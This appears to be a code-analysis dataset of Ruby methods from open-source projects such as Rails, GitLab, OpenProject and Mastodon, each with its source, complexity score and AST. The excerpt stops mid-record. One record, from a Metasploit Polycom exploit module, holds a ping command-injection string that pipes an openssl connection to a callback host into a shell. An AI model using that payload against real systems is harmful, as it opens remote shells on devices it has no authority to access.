{"repo_name":"reek","file_path":"./repos/reek/samples/smelly_source/optparse.rb","start_line":1176,"raw_source":"def define(*opts, &block)\n    top.append(*(sw = make_switch(opts, block)))\n    sw[0]\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"define\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"opts\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"top\"]},\"append\",{\"type\":\"splat\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sw\",{\"type\":\"send\",\"children\":[null,\"make_switch\",{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sw\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"da86c428-b14c-43b5-a7f0-4ad54a31d907"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/commit_version_bump.rb","start_line":263,"raw_source":"def settings_bundle_file_path(project, settings_file_name)\n          settings_bundle = project.files.find { |f| f.path =~ /Settings.bundle/ }\n          raise \"No Settings.bundle in project\" if settings_bundle.nil?\n\n          return File.join(settings_bundle.real_path, settings_file_name)\n        end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"settings_bundle_file_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"settings_file_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"settings_bundle\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"files\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"path\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Settings.bundle\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"settings_bundle\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"No Settings.bundle in project\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"settings_bundle\"]},\"real_path\"]},{\"type\":\"lvar\",\"children\":[\"settings_file_name\"]}]}]}]}]}","id":"a0617cb1-bf87-406e-a813-54125ab75137"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb","start_line":414,"raw_source":"def self.native_database_types # :nodoc:\n        @native_database_types ||= begin\n          types = NATIVE_DATABASE_TYPES.dup\n          types[:datetime] = types[datetime_type]\n          types\n        end\n      end","complexity_score":6.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"native_database_types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@native_database_types\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"types\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NATIVE_DATABASE_TYPES\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"types\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"datetime\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"types\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"datetime_type\"]}]}]},{\"type\":\"lvar\",\"children\":[\"types\"]}]}]}]}","id":"2c0906a6-4c6e-46bc-9d7c-bc8a8e0c197c"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/controllers/storages/project_storages_controller.rb","start_line":130,"raw_source":"def show_error(message)\n    flash[:error] = Array(message) + [I18n.t(\"project_storages.open.contact_admin\")]\n    redirect_back(fallback_location: project_path(id: @project_storage.project_id))\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"show_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"message\"]}]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"project_storages.open.contact_admin\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_back\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fallback_location\"]},{\"type\":\"send\",\"children\":[null,\"project_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project_storage\"]},\"project_id\"]}]}]}]}]}]}]}]}]}","id":"a485585b-bf6c-47f5-a945-63afb6b93cf4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage_data.rb","start_line":211,"raw_source":"def topology_usage_data\n        Gitlab::UsageData::Topology.new.topology_usage_data\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"topology_usage_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"UsageData\"]},\"Topology\"]},\"new\"]},\"topology_usage_data\"]}]}","id":"8482a3a4-9622-411f-9a0a-1b2a71a872d9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/registrations_controller.rb","start_line":293,"raw_source":"def devise_mapping\n    @devise_mapping ||= Devise.mappings[:user]\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"devise_mapping\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@devise_mapping\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Devise\"]},\"mappings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]}]}","id":"28ce30eb-be61-4f38-a1d7-65672607e772"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-post-voting/app/controllers/post_voting/comments_controller.rb","start_line":70,"raw_source":"def destroy\n      params.require(:comment_id)\n      comment = find_comment(params[:comment_id])\n\n      @guardian.ensure_can_see!(comment.post)\n      raise Discourse::InvalidAccess if !@guardian.can_delete_comment?(comment)\n\n      comment.trash!\n\n      Scheduler::Defer.later(\"Publish trash post voting comment\") do\n        comment.post.publish_change_to_clients!(\n          :post_voting_post_comment_trashed,\n          comment_id: comment.id,\n          comments_count: PostVotingComment.where(post_id: comment.post_id).count,\n        )\n      end\n\n      render json: success_json\n    end","complexity_score":26.7,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"comment_id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"comment\",{\"type\":\"send\",\"children\":[null,\"find_comment\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"comment_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@guardian\"]},\"ensure_can_see!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"post\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@guardian\"]},\"can_delete_comment?\",{\"type\":\"lvar\",\"children\":[\"comment\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidAccess\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"trash!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Scheduler\"]},\"Defer\"]},\"later\",{\"type\":\"str\",\"children\":[\"Publish trash post voting comment\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"post\"]},\"publish_change_to_clients!\",{\"type\":\"sym\",\"children\":[\"post_voting_post_comment_trashed\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"comment_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"comments_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostVotingComment\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment\"]},\"post_id\"]}]}]}]},\"count\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"success_json\"]}]}]}]}]}]}","id":"fa93beb8-bea3-43fc-a706-3070e821b7bd"}
{"repo_name":"gl_command","file_path":"./repos/gl_command/lib/gl_command/rspec/matchers.rb","start_line":39,"raw_source":"def failure_message_when_negated\n        message = \"Expected #{@command_class.name} not to #{action} `#{@attribute}`\"\n        message += \" of type `#{@expected_type}`\" if @expected_type\n        message\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"failure_message_when_negated\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Expected \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@command_class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" not to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\"]}]},{\"type\":\"str\",\"children\":[\" `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@attribute\"]}]},{\"type\":\"str\",\"children\":[\"`\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@expected_type\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" of type `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@expected_type\"]}]},{\"type\":\"str\",\"children\":[\"`\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}","id":"a512ecc1-e5b7-4ba1-90ee-7dfcc80197a4"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/contracts/meetings/update_contract.rb","start_line":44,"raw_source":"def user_allowed_to_edit\n      unless user.allowed_in_project?(:edit_meetings, model.project)\n        errors.add :base, :error_unauthorized\n      end\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"user_allowed_to_edit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"edit_meetings\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"project\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"sym\",\"children\":[\"error_unauthorized\"]}]}]}]}","id":"ca0dee6f-3696-43aa-9598-74f2c7f6b02b"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/admin/domain_blocks_controller.rb","start_line":90,"raw_source":"def resource_params\n    params.permit(:domain, :severity, :reject_media, :reject_reports, :private_comment, :public_comment, :obfuscate)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resource_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"sym\",\"children\":[\"severity\"]},{\"type\":\"sym\",\"children\":[\"reject_media\"]},{\"type\":\"sym\",\"children\":[\"reject_reports\"]},{\"type\":\"sym\",\"children\":[\"private_comment\"]},{\"type\":\"sym\",\"children\":[\"public_comment\"]},{\"type\":\"sym\",\"children\":[\"obfuscate\"]}]}]}","id":"14c7a0cb-5973-43f8-af5b-f68e612b0f19"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/web_hook_service.rb","start_line":64,"raw_source":"def disabled?\n    !@force && !hook.executable?\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"disabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@force\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hook\"]},\"executable?\"]},\"!\"]}]}]}","id":"a59e1737-f4a8-41fe-8426-31763969526c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/credential_collection.rb","start_line":327,"raw_source":"def each_username\n      if username.present?\n        yield username\n      end\n\n      if user_file.present?\n        File.open(user_file, 'r:binary') do |user_fd|\n          user_fd.each_line do |user_from_file|\n            user_from_file.chomp!\n            yield user_from_file\n          end\n          user_fd.seek(0)\n        end\n      end\n\n      additional_publics.each do |add_public|\n        yield add_public\n      end\n    end","complexity_score":23.3,"ast_json":"{\"type\":\"def\",\"children\":[\"each_username\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"username\"]},\"present?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[null,\"username\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_file\"]},\"present?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"send\",\"children\":[null,\"user_file\"]},{\"type\":\"str\",\"children\":[\"r:binary\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_fd\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_fd\"]},\"each_line\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_from_file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_from_file\"]},\"chomp!\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_from_file\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_fd\"]},\"seek\",{\"type\":\"int\",\"children\":[0]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"additional_publics\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"add_public\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"add_public\"]}]}]}]}]}","id":"1287e05e-32e1-40a5-befe-0def0dacae8e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/misc/polycom_hdx_auth_bypass.rb","start_line":176,"raw_source":"def do_payload(sock)\n    # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise\n    cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])\n\n    # Start a listener\n    start_listener(true)\n\n    # Figure out the port we picked\n    cbport = self.service.getsockname[2]\n\n    # Utilize ping OS injection to push cmd payload using stager optimized for limited buffer < 128\n    cmd = \"\\nping ;s=$IFS;openssl${s}s_client$s-quiet$s-host${s}#{cbhost}$s-port${s}#{cbport}|sh;ping$s-c${s}1${s}0\\n\"\n    sock.put(cmd)\n\n    # Give time for our command to be queued and executed\n    1.upto(5) do\n      Rex.sleep(1)\n      break if session_created?\n    end\n  end","complexity_score":26.75,"ast_json":"{\"type\":\"def\",\"children\":[\"do_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sock\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cbhost\",{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CBHOST\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LHOST\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"source_address\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"start_listener\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"cbport\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"service\"]},\"getsockname\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\nping ;s=$IFS;openssl${s}s_client$s-quiet$s-host${s}\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cbhost\"]}]},{\"type\":\"str\",\"children\":[\"$s-port${s}\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cbport\"]}]},{\"type\":\"str\",\"children\":[\"|sh;ping$s-c${s}1${s}0\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"upto\",{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"sleep\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session_created?\"]},{\"type\":\"break\",\"children\":[]},null]}]}]}]}]}","id":"e975ff01-22af-40ae-ab28-e8e69dd32312"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/issuable_finder.rb","start_line":326,"raw_source":"def filter_by_namespace(items)\n    if use_join_strategy_for_project?\n      # When finding issues for multiple projects it's more efficient\n      # to use a JOIN instead of running a sub-query\n      # See https://gitlab.com/gitlab-org/gitlab/-/commit/8591cc02be6b12ed60f763a5e0147f2cbbca99e1\n      items.join_project_through_namespace.merge(accessible_projects.reorder(nil))\n    else\n      items.in_namespaces(accessible_projects.map(&:project_namespace_id)).references_project\n    end\n  end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_by_namespace\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"items\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"use_join_strategy_for_project?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"join_project_through_namespace\"]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"accessible_projects\"]},\"reorder\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"in_namespaces\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"accessible_projects\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_namespace_id\"]}]}]}]},\"references_project\"]}]}]}","id":"ac2698c0-fc7c-48d8-ac94-3d0f6a6535cc"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/tools/fix_auth/auth_model.rb","start_line":18,"raw_source":"def contenders\n        where(selection_criteria).select(select_columns)\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"contenders\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"send\",\"children\":[null,\"selection_criteria\"]}]},\"select\",{\"type\":\"send\",\"children\":[null,\"select_columns\"]}]}]}","id":"f051e3b2-649c-4811-b836-2e3db8f8e2ea"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/seeders/demo_data/work_package_board_seeder.rb","start_line":161,"raw_source":"def create_basic_board_query_from_list(list)\n      Query.new(\n        project:,\n        user: admin_user,\n        # Make it public so that new members can see it too\n        public: true,\n        include_subprojects: true,\n        name: list[\"name\"]\n      ).tap do |query|\n        # Set manual sort filter\n        query.add_filter(\"manual_sort\", \"ow\", [])\n        query.sort_criteria = [[:manual_sorting, \"asc\"]]\n\n        list[\"work_packages\"].each_with_index do |wp_reference, i|\n          work_package_id = seed_data.find_reference(wp_reference).id\n          query.ordered_work_packages.build(work_package_id:, position: i)\n        end\n\n        query.save!\n      end\n    end","complexity_score":22.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_basic_board_query_from_list\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"list\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Query\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"admin_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"public\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_subprojects\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"add_filter\",{\"type\":\"str\",\"children\":[\"manual_sort\"]},{\"type\":\"str\",\"children\":[\"ow\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"sort_criteria=\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"manual_sorting\"]},{\"type\":\"str\",\"children\":[\"asc\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"[]\",{\"type\":\"str\",\"children\":[\"work_packages\"]}]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"wp_reference\"]},{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"work_package_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"seed_data\"]},\"find_reference\",{\"type\":\"lvar\",\"children\":[\"wp_reference\"]}]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"ordered_work_packages\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_package_id\"]},{\"type\":\"lvar\",\"children\":[\"work_package_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"position\"]},{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"save!\"]}]}]}]}","id":"63943e2b-869b-4afc-84bd-2f6722d2f583"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/allowed_methods.rb","start_line":39,"raw_source":"def cop_config_deprecated_values\n        @cop_config_deprecated_values ||=\n          Array(cop_config.fetch('IgnoredMethods', [])) +\n          Array(cop_config.fetch('ExcludedMethods', []))\n      end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"cop_config_deprecated_values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@cop_config_deprecated_values\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_config\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"IgnoredMethods\"]},{\"type\":\"array\",\"children\":[]}]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_config\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"ExcludedMethods\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}","id":"070b4109-165d-4a79-94a9-f18f39d8105a"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/table_helpers/column_type/related_to_relations.rb","start_line":50,"raw_source":"def extract_data(_attribute, raw_header, work_package_data, _work_packages_data)\n        relations =\n          work_package_data.dig(:row, raw_header)\n                           .split(\",\")\n                           .map(&:strip)\n                           .compact_blank\n                           .to_h do |name|\n                             relation = make_related_to_relation(name)\n                             [relation[:with], relation]\n                           end\n        { relations: }.compact_blank\n      end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_attribute\"]},{\"type\":\"arg\",\"children\":[\"raw_header\"]},{\"type\":\"arg\",\"children\":[\"work_package_data\"]},{\"type\":\"arg\",\"children\":[\"_work_packages_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relations\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package_data\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"row\"]},{\"type\":\"lvar\",\"children\":[\"raw_header\"]}]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"strip\"]}]}]},\"compact_blank\"]},\"to_h\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"